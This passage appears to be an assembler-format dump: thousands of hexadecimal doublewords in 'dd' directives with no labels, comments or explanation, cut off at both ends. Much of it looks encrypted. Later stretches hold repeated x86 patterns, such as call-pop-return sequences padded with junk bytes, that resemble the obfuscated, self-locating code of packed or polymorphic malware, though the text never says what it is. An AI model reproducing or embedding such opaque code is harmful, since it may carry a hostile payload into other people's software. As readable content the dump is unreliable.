21B7276Eh, 0E68B21FDh, 18BA1840h dd 0A1D92B7Ah, 49E81229h, 8AC03964h, 0DC07A179h, 11B21D70h dd 49F9C972h, 6BA19020h, 810941A4h, 9C0EB878h, 0DC3C2D1Ah dd 12777A57h, 7D69E579h, 9B114704h, 19E84B73h, 49E893C8h dd 8AB06820h, 6DACAD78h, 6DAC9324h, 49E81224h, 8AB8C420h dd 81F790EEh, 8D917416h, 60791509h, 0FC174E6Eh, 4FA600E9h dd 44258FA9h, 0CC650F6Eh, 4FB9F901h, 0A1B9424Ah, 49E82123h dd 102BC900h, 4DCC04A9h, 4DCC60A1h, 49E8123Ah, 0D82B5861h dd 0E701B6C2h, 58007A86h, 90E82120h, 3DBAD3EAh, 9F6D0B93h dd 1C11D1ABh, 0DE2BAC32h, 47E9BCABh, 0C0B7826Eh, 7FA87ADh dd 2338DE26h, 4A00C220h, 69E84820h, 0C0B2E77Ah, 0C8EC3674h dd 5EEC2D64h, 0BE88420h, 0CB198172h, 0CC61A757h, 4FA68A79h dd 0A1B9484Ah, 49E82423h, 102B4B00h, 4DCC45A9h, 4DCCC0A1h dd 49E8423Ah, 0B62B7061h, 8430B6FCh, 0FCD9AE39h, 4FA63D3Dh dd 8FBBDCA0h, 7EC08A5h, 4982D726h, 49EBAA75h, 14C82120h dd 2561CDE3h, 0D694C04h, 49F32004h, 1CAD1220h, 61DD03E3h dd 33FB738Eh, 44757304h, 0C0EE6F32h, 7E065A5h, 0EA092026h dd 0F7BAAA43h, 1A336E3Fh, 6DDC887Fh, 1F93E372h, 0A1BD424Ah dd 49E82123h, 142BCD00h, 4DCC24A9h, 4DCC60A1h, 49E81237h dd 2F2B5C65h, 0C285D38Ah, 805DBDEAh, 0C4EE6F04h, 1895B1A5h dd 0B8574726h, 4982F4DFh, 49EBFA77h, 16C80920h, 3561DBE3h dd 0D694604h, 49F02504h, 1EAF9020h, 0F2E524E3h, 0F4630A29h dd 4FA6013Dh, 0A93A8846h, 3C6D0DF8h, 23EE0C23h, 4A007320h dd 69E89020h, 0C0B28B7Ah, 0C8EC0074h, 54EC3664h, 0BE80920h dd 33704772h, 0A747255Bh, 0F6D8D04Bh, 96DC8F99h, 486D8E7Fh dd 0EEE6A24h, 9F31AC48h, 0F799B7BFh, 4D699097h, 41EBA904h dd 0B611D938h, 7CC5995h, 49F9A126h, 75642420h, 9DDF4D5Fh dd 6156A0CDh, 688BC7F1h, 0C4267A8Fh, 189500A5h, 49FC7926h dd 0F06B4820h, 0E1C2F2E2h, 0CE828CCFh, 81CB0AD8h, 0EDB7F2FAh dd 0C4C19D98h, 4FA6049Dh, 498240DFh, 49EBA077h, 16C82420h dd 35614DE3h, 0D690D04h, 49FE8004h, 1EAF4220h, 0EDF090E3h dd 4F4915A9h, 2FB94E6Eh, 0C0B1DCABh, 7E4E3A5h, 486DCF26h dd 0EEECA24h, 0A1B8424Ah, 49E82123h, 112BC800h, 4DCC0CA9h dd 4DCC60A1h, 49E81239h, 1D2B5960h, 5C3FB0DFh, 0B26324E7h dd 87476948h, 0C8E7F027h, 49E84824h, 1C889A46h, 0C403A946h dd 6DEC8841h, 33E5E512h, 0A1BB424Ah, 49E82123h, 122BCB00h dd 4DCC14A9h, 4DCC60A1h, 49E81239h, 752B5A63h, 23C7DE00h dd 865CB5Eh, 0B6EE6F2Dh, 7CC5995h, 18E82226h, 49E827C8h dd 8AB13220h, 6DA48079h, 6DAC0524h, 49E85724h, 8AB96020h dd 0CC6525BBh, 4FB93501h, 0A1B9244Ah, 49E81223h, 102B5000h dd 4DCCC8A9h, 4DCC06A1h, 49E82135h, 0D62BC161h, 4688280Ah dd 49E824A8h, 28B34520h, 2884D2A0h, 9917D295h, 0A1BF424Ah dd 49E82123h, 162BCF00h, 4DCC34A9h, 4DCC60A1h, 49E8123Ch dd 4A2B5E67h, 0CBC3DC2Dh, 351EC959h, 42C5A4A9h, 8C68966Eh dd 486D8E42h, 0EEE6A24h dd 0A1BD124Ah, 49E80923h, 142BD900h, 4DCC2EA9h, 4DCC65A1h dd 49E89037h, 0C32B1D65h, 2F7D715Ah, 0D480C1ABh, 0A02E45E1h dd 49E88430h, 0E4E16A66h, 0FD056D4h, 5686E95Fh, 2D6D31D4h dd 89CC10A1h, 238493DDh, 4A005920h, 69E88420h, 0C0B08178h dd 0C8EC0564h, 54ECB464h, 9E84820h, 2D93E770h, 0EDA7F2DDh dd 0AA7FF8C8h, 0B6B362A0h, 7CC8B95h, 402A026h, 0C4F28992h dd 189569A5h, 0D3564226h, 2338ED4Fh, 4A005820h, 69E88420h dd 0C0B18179h, 0C8EC056Ch, 53ECB464h, 8E84820h, 4EECE771h dd 0F8BFDC94h, 78550AC3h, 29EECA29h, 4BD9CFA9h, 0A65F276Eh dd 4C7D1B41h, 0C0EE0629h, 7CCF5A5h, 1BE87826h, 49E80AC8h dd 8AB2A420h, 6DBCCB7Ah, 6DACA024h, 49E88A24h, 8ABA0A20h dd 0F53459D2h, 0C2D5993Eh, 7F74CADh, 205B3B26h, 99174A1Eh dd 0CBDC9E46h, 79E515A9h, 49824E6Eh, 49EBCC75h, 14C81220h dd 256154E3h, 0D698004h, 49FF4604h, 1CAD2120h, 0C44833E3h dd 91642E78h, 6139A1A9h, 4DCC146Eh, 0A1B8094Ah, 49E88423h dd 112B1A00h, 4DCC65A9h, 4DCCD4A1h, 49E84836h, 952B7460h dd 89E20E3Bh, 4B348D2Fh, 0DC618420h, 4FA65019h, 4DE9A4E6h dd 2FA7966Eh, 21FFB79Ah, 0E85BB185h, 49F0912Fh, 5A010920h dd 4E88420h, 2380022Eh, 15E71101h, 60552EC4h, 94E485BDh dd 7D691A4Bh, 7A117304h, 1AE8633Eh, 49E887C8h, 8AB36220h dd 6DB4A87Bh, 6DAC1124h, 49E85324h, 8ABB6720h, 0D120B310h dd 0A1F19E17h, 6D2131DFh, 0F4E3446Eh, 4FA62DDDh, 34C915ADh dd 49824E71h, 49EBCC75h, 14C81220h, 256154E3h, 0D698004h dd 49FF4604h, 1CAD2120h, 64227BE3h, 9917B0A5h, 0A111AF46h dd 49E81233h, 0C32837DEh, 7D6F32DDh, 25487E9Fh, 0FBCE475Dh dd 0C20AD733h, 7C9D595h, 896B7D26h, 0B4559B04h, 0C0EE472Fh dd 7E35DA5h, 1BE82826h, 49E822C8h, 8AB2B020h, 6DBCC17Ah dd 6DACA524h, 49E80A24h, 8ABA4B20h, 0E4F60220h, 446DC9E3h dd 0FCEE6F10h, 98751B69h, 23EE0604h, 4A007120h, 69E81220h dd 0C0B5CA7Dh, 0C8ECA04Ch, 51EC6664h, 0CE82120h, 913C5375h dd 0C89BAD1Bh, 0AF66FAFEh, 0DCC15168h, 4FA61DF1h, 49829FABh dd 49EBAA75h, 14C82120h, 2561CDE3h, 0D694C04h, 49F02004h dd 1CAD1220h, 129271E3h, 5263230Bh, 0A1BD424Ah, 49E82123h dd 142BCD00h, 4DCC24A9h, 4DCC60A1h, 49E81235h, 22B5C65h dd 52AC3AA2h, 0C28E141Dh, 23F3AAF0h, 4A00C320h, 69E84820h dd 0C0B3E77Bh, 0C8EC367Ch, 50EC2D64h, 0AE88420h, 408A8173h dd 0C9C197E7h, 0DC634813h, 4FA66081h, 6165B9A9h, 0C2BF146Eh dd 7C114ADh, 0CC2EDA26h, 4FA64621h, 0CD26A067h, 21B88F4Dh dd 0CD8DB114h, 0D4CC10A1h, 0A1DBA904h, 49E80927h, 6F5EFED5h dd 0A1B75A22h, 49E82133h, 1D12AA6Eh, 91B979B4h, 3636012Eh dd 1406DBA1h, 6AAF1D54h, 7E4D195h, 0B6B11826h, 7CCE895h dd 18E8FA26h, 49E84BC8h, 8AB10420h, 6DA49B79h, 6DAC8824h dd 49E89824h, 8AB90320h, 0DA2BFBEFh, 55920B14h, 686DC579h dd 0C8EE755Dh, 66E046E1h, 0B8635B30h, 23387B7Fh, 4A001220h dd 69E82120h, 0C0B05378h, 0C8EC6C64h, 5DEC0064h, 9E81220h dd 1994CA70h, 0E86D0D7Eh, 0C2EE0C26h, 7CD8C95h, 8768D026h dd 23E8C300h, 4A007620h, 69E81220h, 0C0B2CA7Ah, 0C8ECA074h dd 5DEC6664h, 0BE82120h, 29455372h, 1062A0A1h, 0F6E773ECh dd 0C4EB73D1h, 4FA61A7Dh, 498284ABh, 49EBAA75h, 14C82120h dd 2561CDE3h, 0D694C04h, 49F02004h, 1CAD1220h, 0D6AF6FE3h dd 0F4616544h, 4FA65905h, 59DDA4A9h, 0C21D966Eh, 7C17D95h dd 48AECD26h, 49821220h, 49EBE172h, 13C88420h, 1D6118E3h dd 0D692504h, 49FE9404h, 1BAA4820h, 20396E3h, 5C79A7ABh dd 0CC650F6Eh, 4FB93569h, 0A1BB424Ah, 49E82123h, 122BCB00h dd 4DCC14A9h, 4DCC60A1h, 49E81235h, 1B2B5A63h, 5F618B6Eh dd 0A0E84220h, 49E82131h, 8F10C44Eh, 556554CEh, 0F744B6FAh dd 0A0629615h, 99635936h, 23CC80A9h, 4A001520h, 69E82120h dd 0C0B7537Fh, 0C8EC6C5Ch, 54EC0064h, 0EE81220h, 0AD18CA77h dd 8C7F97E2h, 1A5FDFFBh, 0A132CB9Fh, 7C7D6F7Bh, 2FEE062Dh dd 0F7C35E9Eh, 752B5F0Eh, 0F8A794ADh, 0C6E78271h, 49E84220h dd 436D2E70h, 0A0E89020h, 49E84825h, 72063A9h, 6DF49B0Ch dd 0A1B9094Ah, 49E88423h, 102B1B00h, 4DCC6DA9h, 4DCCD4A1h dd 49E84837h, 592B7561h, 7AEE49C7h, 7C4F8B5h, 0F07DB526h dd 0D9EE0C0Ah, 1911AA46h, 0D91B1B46h, 49E859C8h, 62CAA220h dd 0F1173ACCh, 7B768E50h, 15FE66ADh, 0B1BE545Dh, 0DC177E79h dd 4FA68B61h, 78ADF5A9h, 0CC61226Eh, 4FA619F9h, 0A1BD094Ah dd 49E88423h, 142B1F00h, 4DCC4DA9h, 4DCCD4A1h, 49E8483Ch dd 8D2B7165h, 794037E8h, 6CECE9ACh, 4DE901E6h, 29BB446Eh dd 633D9CA9h, 0CC63966Eh, 4FA651F5h, 1E054C41h, 1BB8201Dh dd 981C299Fh, 0F8D98B64h, 0C8B0180Ah, 657A0524h, 4982E86Ah dd 49EBA073h, 12C82420h, 156149E3h, 0D690D04h, 49FF8004h dd 1AAB4220h, 79CD81E3h, 385D93E3h, 0C2EE0636h, 7E55995h dd 805DED26h, 0C2EE4704h, 7CE2D95h, 686DCF26h, 0A1EE705Dh dd 49E89033h, 8FB0BA25h, 0EF61F5EEh, 6B154C31h, 0AD29C190h dd 0C2BFE9EDh, 595718DBh, 0B69DAE40h, 0C0231BF0h, 7F24DA5h dd 1BE84E26h, 49E811C8h, 8AB22920h, 6DBC0D7Ah, 6DACC324h dd 49E83D24h, 8ABAD220h, 0F94A5CB1h, 35E3AA68h, 6C659977h dd 8FEE4731h, 7EC85A5h, 0C88E0526h, 2138FAE7h, 16BA9BADh dd 49E85BC8h, 0AB4AFA20h, 0F4C79145h, 0D93867B0h, 7175269Bh dd 34E8836Ch, 37514740h, 2889F08Bh, 6DECC97Fh, 0BC82E23h dd 49E49D2Fh, 0C9E70920h, 49E88426h, 4501D7A9h, 0FC17276Eh dd 4FA6B4E9h, 0A1BE484Ah, 49E82423h, 172B4C00h, 4DCC7DA9h dd 4DCCC0A1h, 49E8423Ah, 92B7766h, 38BABE2Ah, 0F463DF2Fh dd 4FA60921h, 34C997ADh, 49820F71h, 49EB6C77h, 16C84220h dd 35617EE3h, 0D699404h, 49F14C04h, 1EAF2420h, 0DDE8F0E3h dd 0C973303Dh, 99176DE9h, 0A417F846h, 0F28E7040h, 0F6B1ACACh dd 55DF14F2h, 486DAD41h, 23EE5C09h, 4A005E20h, 69E88420h dd 0C0B7817Fh, 0C8EC055Ch, 5EECB464h, 0EE84820h, 0AD7CE777h dd 16BF6356h, 4DE98CE6h, 0A1BB826Eh, 49E8422Ch, 887390DFh dd 0C6C867D5h, 6F3561DDh, 49E82EC8h, 0FEE16020h, 9BDDDDBFh dd 2F8E9134h, 16158C99h, 49ECC97Eh, 16789020h, 9863D119h dd 6DACAF70h, 7D0DAC24h, 496314F7h, 0D61BE95h, 0F08E4604h dd 40B03A6Ch, 7CAFDADh, 805DB726h, 0C4EE6A04h, 189533A5h dd 0D0758026h, 0B6EECA3Fh, 19E828F0h, 49E822C8h, 8AB0B020h dd 6DACC178h, 6DACA524h, 49E80B24h, 8AB84920h, 0D4430721h dd 0C46308E7h, 4FA60B75h, 467115A9h, 49824E6Eh, 49EBCC70h dd 11C81220h, 0D6151E3h, 0D698004h, 49FD4604h, 19A82120h dd 46EF73E3h, 0CC2E9997h, 4FA62021h, 3656E777h, 21EC7D5Ah dd 76FD4DB2h, 49E84DC9h, 0D922D520h, 0ED9094F5h, 149EA0D3h dd 8EFCD06Ch, 3DCC16A1h, 23B8E7A8h, 4A00D520h, 69E84220h dd 0C0B1E279h, 0C8ECB46Ch, 55EC6C64h, 8E82420h, 2F90D171h dd 0A728CBEBh, 0A1706716h, 49E84228h, 268A443Bh, 0C56E9E7Bh dd 6545F511h, 0B6B2226Eh dd 7CCDB95h, 1BE86326h, 49E887C8h, 8AB26220h, 6DBCA87Ah dd 6DAC1124h, 49E85F24h, 8ABA6620h, 0D512A0F7h, 34C98CADh dd 49828271h, 49EBAA72h, 13C82120h, 1D61CAE3h, 0D694C04h dd 49FF2004h, 1BAA1220h, 181899E3h, 23387BA9h, 4A001520h dd 69E82120h, 0C0B7537Fh, 0C8EC6C5Ch, 5CEC0064h, 0EE81220h dd 0D679CA77h, 49E88BC9h, 3A215E20h, 5D7D9A09h, 0A737D2E6h dd 2E1E4CBBh, 52E5A1A9h, 0F4DB146Eh, 4FA611A9h, 4DE901E6h dd 23AB446Eh, 4A007220h, 69E89020h, 0C0B38B7Bh, 0C8EC007Ch dd 5CEC3664h, 0AE80920h, 0BA1C4773h, 2E663D99h, 6D814926h dd 1BB860C0h, 49EAC72Fh, 635A2420h, 4100232Fh, 1DE80920h dd 6CE3D94Fh, 0C27968E9h, 11B278D9h, 8CCA4A1h, 2FA43874h dd 0BBB5CEA1h, 6D21A7DFh, 0CC610F6Eh, 4FA6A6A9h, 49EEC52Fh dd 0DC632120h, 4FA683DDh, 34C9CDADh, 0D4C12271h, 4FA61FD1h dd 4982D9DFh, 49EB6C76h, 17C84220h, 3D617FE3h, 0D699404h dd 49F54C04h, 1FAE2420h, 5B1EDBE3h, 1EAA87E1h, 0C09F6475h dd 7FBEFA5h, 0D8752026h, 0C4EEDE36h, 185977A5h, 1BE84E26h dd 49E811C8h, 8AB22920h, 6DBC0D7Ah, 6DACC324h, 49E83424h dd 8ABAD220h, 0F4634477h, 4FA61475h, 0F7B942B0h, 6885DAFEh dd 4982147Fh, 49EBAA75h, 14C82120h, 2561CDE3h, 0D694C04h dd 49F52004h, 1CAD1220h, 0C4D886E3h, 0FECDF548h, 2FA04A4Bh dd 0C065A999h, 7F2A5B5h, 9C55C126h, 0B6EE6A3Fh, 7E527B5h dd 0E85D2026h, 0C2EECA3Fh, 1AE828F8h, 49E822C8h, 8AB3B020h dd 6DB4C17Bh, 6DACA524h, 49E80E24h, 8ABB4A20h, 0CFFAC9AAh dd 973BD7B8h, 0C420AAFDh, 1859A3A5h, 1CE82226h, 49E827C8h dd 8AB53220h, 6D84807Dh, 6DAC0524h, 49E85624h, 8ABD6420h dd 0CFE7C084h, 49E84820h, 0C8CC20A9h, 3E1AAAF6h, 0F08E5919h dd 5561E70Ch, 18E82804h, 49E822C8h, 8AB1B020h, 6DA4C179h dd 6DACA524h, 49E80F24h, 8AB94820h, 0F46F213Fh, 9D407BD8h dd 0DC17E3BCh, 4FA68B61h, 0A1BA484Ah, 49E82423h, 132B4800h dd 4DCC5DA9h, 4DCCC0A1h, 49E8423Dh, 862B7362h, 6DBB2A5Bh dd 0D3FD68DDh, 0A13EA5BAh, 0C0F07CBCh, 7C7C4A5h, 1CE8EE26h dd 49E841C8h, 8AB50120h, 6D84197Dh, 6DACC924h, 49E83324h dd 8ABD5720h, 2F25761Ah, 49EE6C76h, 85404220h, 7C7C9943h dd 49E897C8h, 0A9E74C20h, 766F9341h, 8EB7487Eh, 7C254A5h dd 49E88B26h, 4C6D4320h, 0B6EE6F13h, 7C75DB5h, 9E574726h dd 686DADD9h, 2FEE5C00h, 0C2EDD7A1h, 62DD01ABh, 0D465446Eh dd 4FB9E564h, 0C4E9D3A9h, 7ECD99Dh, 575DA926h, 0F0EE43E4h dd 49E80913h, 7A0320D3h, 49E84298h, 3D282A20h, 49F05223h dd 45CC0CABh, 49E8CC73h, 0C8B31220h, 49E81EE3h, 6DB40D20h dd 6DACCB30h, 7E507A34h, 0B6E80F80h, 6DACC3C0h, 6A08DB24h dd 7E367B5h, 1AE86326h, 49E887C8h, 8AB36220h, 6DB4A87Bh dd 6DAC1124h, 49E85224h, 8ABB6720h, 2A20D0A3h, 29497FB4h dd 4B150109h, 0C88E446Eh, 286E4EE3h, 6357F641h, 7A55C55Ah dd 0C4EE7591h, 182CB5ADh, 0E2DDB126h, 0CCDB1C06h, 4FA64DC1h dd 0A029EE0Bh, 20238822h, 204A0010h, 7A69E821h, 74C0B253h dd 64C8EC6Ch, 2052EC00h, 5E98312h, 0D98BA4F3h, 0EE8h, 0AB0B1B00h dd 99D95D05h, 0EF5FE744h, 5AAFA6AFh, 10E9h, 5C5CE700h dd 6C22E1A3h, 8844EC07h, 31FBE60Ah, 8FE9EEh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 897D61C3h, 613E81FAh, 218D0Fh, 0E9600000h, 14h, 5B0E96E6h dd 0B138289Fh, 728ADFFEh, 92B23FE8h, 92685834h, 0A866EF81h dd 61614972h, 5E9h, 7C71E100h, 820F44F5h, 14h, 0FE9h, 0F7528C00h dd 8A5633A7h, 0CFD9CB33h, 6FBC5B35h, 55006AC3h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 2AB16011h dd 6AC08B61h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0E374C352h, 9A1449D6h, 0F347A83h dd 187h, 0BD83FC00h, 64E2D45h, 83097500h, 4E19E1BDh, 19740006h dd 0C08B5350h, 4B9B8h, 1858900h, 8D064E30h, 50B9A89Dh dd 5BD3FF06h, 0E1BD8358h, 64E19h, 53501774h, 4B9B8h, 1858900h dd 8D064E30h, 50B6499Dh, 5BD3FF06h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 7CE203A9h dd 0F95C8DDCh, 0BF0F6060h, 8F0FC6h, 61000000h, 0AE9h, 0A10FAB00h dd 731F436Dh, 6149BFA7h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 73C35242h, 6AC08Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 9639EEC3h dd 96D28F6Fh, 0F9570952h, 6AC18B40h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 7F5AC352h dd 0E985892Dh, 0EB064E0Ah, 4, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 8CE7AB9Dh dd 3222C781h, 6A6FACh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0B1FC0CC3h, 858DFE9Ah, 64E1061h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 90C35646h dd 6810F26h, 8B000000h, 4E0B81BDh, 6E85006h, 6000000h dd 9091DEBFh, 13E9B2h, 62E90000h, 7E49300Bh, 88FB2F51h dd 1C73A60Bh, 0FB1D0E00h, 4895F86h, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 8532062Ah dd 0F24A046Fh, 68F0F57h, 81000000h, 425D32D7h, 8B006A5Bh dd 4E043DBDh, 81006A06h, 91652AC6h, 52858D34h, 230651C8h dd 4E1601BDh, 5C08306h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 69C35343h, 81664BB6h, 90F757F7h, 9050F88Bh dd 6A006Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0EC35242h, 3A656327h, 88595FFh, 0E681064Eh, 1A4E6E2Dh dd 0AF499D8Dh, 6A0651h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 1353F7C3h, 1864DB6h, 0BD8BF7C0h dd 64E267Dh, 8B60D3FFh, 4E202585h, 85FF6106h, 64E08D5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 6FC35646h dd 25B1C1BFh, 3B9050F7h, 7CBE9h, 0E800h, 815D0000h, 51C85CEDh dd 10E906h, 25620000h, 0B029467Ah, 4525CFC9h, 53AD2E7Fh dd 0EE82C41h, 76000000h, 94FEE49Ch, 0BDE99A3h, 536221ACh dd 0C2BF66ACh, 0BD815F80h, 64E2A5Dh, 7D0h, 171860Fh, 0BF660000h dd 9D8B395Dh, 64E07ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 67C35242h, 45D2EC75h, 31A6FE66h, 4E269DB5h dd 0E38106h, 66000001h, 0B8F86BEh, 0B4850FDBh, 89000000h dd 4E17799Dh, 0EE906h, 574F0000h, 5112A638h, 50F30C3Bh dd 0D161B2BCh, 0C6A7BD83h, 0F000651h, 4A84h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 8CE5AA5Ch, 8ED0CC07h, 0CE9F0E3h dd 0BD000000h, 399A2AD8h, 392DF69Ah, 0E986368Bh, 98h, 68B0Fh dd 0BD8B0000h, 64E2125h, 0C7F8BF0Fh, 51C6A785h, 106h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 880FE301h, 6, 6B5B529h, 0BD8B064Eh, 64E09ADh, 4BE9h dd 75BD8B00h, 0C7064E29h, 51C6A785h, 6, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 4526539Ch, 0BDEEE972h, 0EE9h, 1D86A00h, 16534C22h, 42F31683h dd 0BE7D280Ah, 13D4DF42h, 7AD9D8Dh, 6A064Eh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0C18BA2C3h dd 815F45C5h, 0FFFEFF23h, 9DB589FFh, 66064E26h, 6ADB8Ch dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 62DC5C3h, 0BC65D5B3h, 0F864A3F1h, 0F04C3F6h, 7984h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 4DBD2394h, 0FF064E18h, 4E2FCD95h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 6D289A93h, 0C09EA5C4h, 8B5021AAh, 240489F9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0B4C35545h, 987D16E5h dd 8B0Fh, 3CE90000h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0BE9FC357h, 7A86440Bh dd 0B50300B0h, 64E2129h, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 82DE7EC3h, 8160B26Eh dd 3E263DBh, 11BD2372h, 61064E2Dh, 1F059D89h, 71E4064Eh dd 360B3CBEh, 0D8B60F18h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 33C35646h, 6BAh, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0B589C8ECh dd 64E0975h, 5E8h, 895B9000h, 0BE956D8h, 0C7000000h, 3078802Dh dd 8CD3233Ch, 8B5F1A35h, 919D09C3h, 0C1064E18h, 0C78104E8h dd 32A692D7h, 0FE2F766h, 688h, 6DB58900h, 0E9064E02h, 5 dd 5A0EE70Dh, 6AD82B0Dh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 81D8C357h, 0FFA96C6Ch dd 506B8773h, 13E8h, 9395D800h, 6BEA0526h, 8C37079Dh, 0E2D55EF9h dd 41DE2F0Eh, 68B388BEh, 1C895E50h, 7730BE24h, 0B5FF03D7h dd 64E2A5Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 72C35646h, 957ACA06h, 50CF4EBDh, 38E0Fh, 0BF0F0000h dd 5995FFF6h, 6A064E1Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 4C2EC350h, 8B00B09Fh dd 4E08CDBDh, 0AE906h, 0C1D00000h, 6226165Ch, 419C6932h dd 5E870E6h, 60000000h, 58225509h, 5FF8535Fh, 6A71E4h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E97C9EC3h, 8, 4069EE1Dh, 687724FDh, 830F613Ch, 24Bh dd 26218531h, 0B60F064Eh, 55006AD8h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 7993D69Dh dd 0BA06B69Ah, 6, 2BB59D89h, 0C38B064Eh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0E3C35343h, 28DCA9CBh dd 19B30ACFh, 959D89DCh, 0C1064E21h, 6A04E8h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0A30569C3h dd 664F0898h, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0B60933C3h, 695BB02Bh, 6AD82Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 5069DEC3h, 58119A92h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 0BBC35242h, 9B8C9911h, 0FD82B12h, 15288h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 56B53E6Dh, 0FDB52B74h, 0E8064E02h, 0Bh dd 0AB6F6F5h, 4F519E44h, 0F93A850Fh, 7B95Eh, 95890000h dd 64E2C5Dh, 0F900C183h, 860FD93Bh, 103h, 5870Fh, 7CBF0000h dd 6630216Ch, 840FD98Ch, 6, 27358589h, 8529064Eh, 64E0FE5h dd 0F04C1F6h, 0AD84h, 2DB50B00h, 0FF064E0Fh, 4E2FCD95h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0B58B5BE6h, 64E075Dh, 61B2EE81h, 0C32B41FBh dd 3DF18B66h, 834h, 68860Fh, 0CE80000h, 31000000h, 219A8212h dd 494357C0h, 294A769Fh, 4E2CDD85h, 820F5E06h, 2, 70E9FA8Bh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0F83CC352h, 0B5293D9Eh, 64E02B1h dd 0AE860h, 0E7E00000h, 7C4E186Bh, 8EEDA308h, 4F77DB81h dd 3158152Bh, 4E090595h, 0C08B6106h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0A9C35343h, 9C5013D5h, 30E1B589h dd 37BF064Eh, 8B0671E5h, 8BD88BC3h, 4E048DB5h, 0F9B70F06h dd 296985C7h, 9D11064Eh, 6A1B4Fh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 6A31BFC3h, 7A279F80h dd 1840FC0h, 0F9000000h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 3A0F7EC3h, 49BD8B81h dd 81064E27h, 4E2A5DBDh, 7D006h, 3B850F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 2721C351h, 3B5EA79Ch, 0AE9h, 0BD3C6A00h dd 0D126D72Fh, 0FFD90191h, 4E2A5D85h, 0DB9EBE06h, 0B5FF424Dh dd 64E2A5Dh, 0F59BD29h, 95FF064Eh, 64E1A59h, 2698589h dd 0B890064Eh, 12345678h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 6DC35141h, 0E152FE7Ah, 7559F343h, 0B080BF66h dd 0C99D8DF9h, 0E90651CFh, 0FFFFF855h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 5AC35646h, 0C3DD347Dh, 8501C18Bh dd 64E2B89h, 4EBh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 49B627C3h, 65E858B4h dd 8B4A0311h, 4E0D61B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 4E4E3A7Ah, 0BE9h, 7CBD2300h dd 0FB761E01h, 1F2A5721h, 3830F60h, 80000000h, 14E99DE0h dd 98000000h, 0AC0999B4h, 739CB39Fh, 0F574BC12h, 0E78B982Ch dd 615FBDACh, 1061858Dh, 6A064Eh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0ABD350C3h, 2E5E900Dh dd 18CDBD09h, 810F064Eh, 0Ch, 6800Fh, 9D010000h, 64E1481h dd 8B666090h, 605061C1h, 0D6E26FB9h, 5153BF21h, 90615F51h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0D9C35040h dd 0BFF2E2D1h, 